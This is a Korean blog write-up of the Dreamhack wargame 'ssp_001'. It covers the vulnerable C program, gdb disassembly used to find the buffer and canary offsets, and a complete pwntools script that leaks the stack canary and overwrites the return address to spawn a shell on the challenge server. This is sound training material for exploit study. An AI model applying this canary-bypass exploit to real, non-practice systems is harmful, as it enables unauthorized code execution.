이번 문제는 SSP 방어기법, 즉 canary가 보호기법으로 걸려있는 문제이다.
이를 우회하기위해서는 memory leak이 발생한다면 이를 활용해서 canary를 확인하는 방법이 최선이며, 그게 아니라면 브루트포싱해야한다.
코드를 조금 분석해보자.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
void print_box(unsigned char *box, int idx) {
printf("Element of index %d is : %02x\n", idx, box[idx]);
}
void menu() {
puts("[F]ill the box");
puts("[P]rint the box");
puts("[E]xit");
printf("> ");
}
int main(int argc, char *argv[]) {
unsigned char box[0x40] = {};
char name[0x40] = {};
char select[2] = {};
int idx = 0, name_len = 0;
initialize();
while(1) {
menu();
read(0, select, 2);
switch( select[0] ) {
case 'F':
printf("box input : ");
read(0, box, sizeof(box));
break;
case 'P':
printf("Element index : ");
scanf("%d", &idx);
print_box(box, idx);
break;
case 'E':
printf("Name Size : ");
scanf("%d", &name_len);
printf("Name : ");
read(0, name, name_len);
return 0;
default:
break;
}
}
}
코드부터 요약해서 해석해보면
alarm 함수와 initialize 함수는 제한시간과 버퍼 초기화를 위함이므로 무시하자.
중요한 부분은 두군데이며,
우선 print_box 함수.
즉, [P]rint the box 메뉴에서 scanf 함수 사용 시 idx 변수의 크기를 확인하지 않기 때문에 box 변수의 크기를 넘은 위치의 메모리 값을 출력할 수 있기 때문에 여기서 memory leak이 발생한다.
그리고 [E]xit 메뉴.
여기서는 scanf 및 read 함수로 그 크기와 값을 임의로 넣을 수 있는데 이를 통해 ret address까지 변조 가능하게 된다.
그러므로 전체적인 공격 흐름은
[P]rint the box 메뉴를 통한 canary 확인,
[E]xit 메뉴를 통한 get_shell 함수 실행
이 된다.
우선 gdb를 통해 box 변수의 크기 및 위치, canary의 위치, Exit 메뉴의 name 변수의 크기 및 위치를 확인해보자.
box 변수는 main 함수에서 사용되기 때문에 아래와 같이 확인할 수 있으며,
...
0x080487d3 <+168>: push $0x40
0x080487d5 <+170>: lea -0x88(%ebp),%eax
0x080487db <+176>: push %eax
0x080487dc <+177>: push $0x0
0x080487de <+179>: call 0x80484a0 <read@plt>
...
그 크기는 0x40, 위치는 %ebp-0x88 임을 알 수 있다.
canary의 위치 또한 main 함수에서 찾을 수 있으며,
...
0x0804886c <+321>: mov -0x8(%ebp),%edx
0x0804886f <+324>: xor %gs:0x14,%edx
0x08048876 <+331>: je 0x8048884 <main+345>
0x08048878 <+333>: jmp 0x804887f <main+340>
0x0804887a <+335>: jmp 0x8048790 <main+101>
0x0804887f <+340>: call 0x80484e0 <__stack_chk_fail@plt>
...
%ebp - 0x8 의 값을 %gs:0x14와 xor로 비교하는 것을 보아 해당 위치에 있음을 알 수 있으며, 32bit 환경이기에 4 byte의 값을 가지고 있을 것으로 추측할 수 있다.
마지막으로 name 변수도 main 함수에서 찾을 수 있으며,
...
0x08048852 <+295>: mov -0x90(%ebp),%eax
0x08048858 <+301>: push %eax
0x08048859 <+302>: lea -0x48(%ebp),%eax
0x0804885c <+305>: push %eax
0x0804885d <+306>: push $0x0
0x0804885f <+308>: call 0x80484a0 <read@plt>
...
%ebp - 0x48에 위치함을 알 수 있다.
마지막으로 get_shell 함수의 주소를 찾아보면
gef➤ disas get_shell
Dump of assembler code for function get_shell:
0x080486b9 <+0>: push %ebp
0x080486ba <+1>: mov %esp,%ebp
0x080486bc <+3>: push $0x8048919
0x080486c1 <+8>: call 0x8048500 <system@plt>
0x080486c6 <+13>: add $0x4,%esp
0x080486c9 <+16>: nop
0x080486ca <+17>: leave
0x080486cb <+18>: ret
End of assembler dump.
와 같다.
종합해보면
canary는 %ebp - 0x8에 4 byte의 값을 가지고 있고
box 변수는 %ebp - 0x88부터 시작되기 때문에
0x88 - 0x8 = 0x80 = 128번째부터 131번째까지가 canary 값이 될 것이며,
이를 포함한 0x48 byte + sfp 4 byte + get_shell 함수 주소
를 통해 shell을 실행시킬 수 있을 것이다.
즉, 전체적인 페이로드는 아래와 같아진다.
from pwn import *
canary = b''
p=remote('host3.dreamhack.games',21790)
#p=process('./ssp_001')
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b': ',b'131')
p.recvuntil(b': ')
canary += p.recv(2)
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b': ',b'130')
p.recvuntil(b': ')
canary += p.recv(2)
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b': ',b'129')
p.recvuntil(b': ')
canary += p.recv(2)
p.sendlineafter(b'> ',b'P')
p.sendlineafter(b': ',b'128')
p.recvuntil(b': ')
canary += p.recv(2)
#packing 시 역순으로 변환되기에 반대로 131~128번째 값을 가져와서 canary 변수에 저장.
canary=p32(int(canary,16))
print(canary)
p.sendlineafter(b'> ',b'E')
p.sendlineafter(b': ',b'80')
pay = b''
pay += b'\x90'*64 #canary가 %ebp - 8에 위치하므로 dummy는 68 byte가 아니라 64 byte
pay += canary
pay += b'\x90'*8 #canary가 %ebp - 8에 위치하므로 canary 이후 4 byte를 채워주고 sfp를 채워줌.
pay += p32(0x080486b9) #get_shell 함수 주소
p.sendlineafter(b': ',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/dc29bd91-ee07-4643-b106-58cc09cf3fa2]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 21790: Done
b'\x00\x8a\xb8\xf3'
[*] Switching to interactive mode
$ id
uid=1000(ssp_001) gid=1000(ssp_001) groups=1000(ssp_001)
$ cat flag
DH{----------#플래그는 삭제}
'Wargame > Dreamhack' 카테고리의 다른 글
Return to Library (0) | 2022.07.19 |
---|---|
Return to Shellcode (0) | 2022.07.19 |
basic_exploitation_001 (0) | 2022.07.18 |
basic_exploitation_000 (0) | 2022.07.18 |
Return Address Overwrite (0) | 2022.07.18 |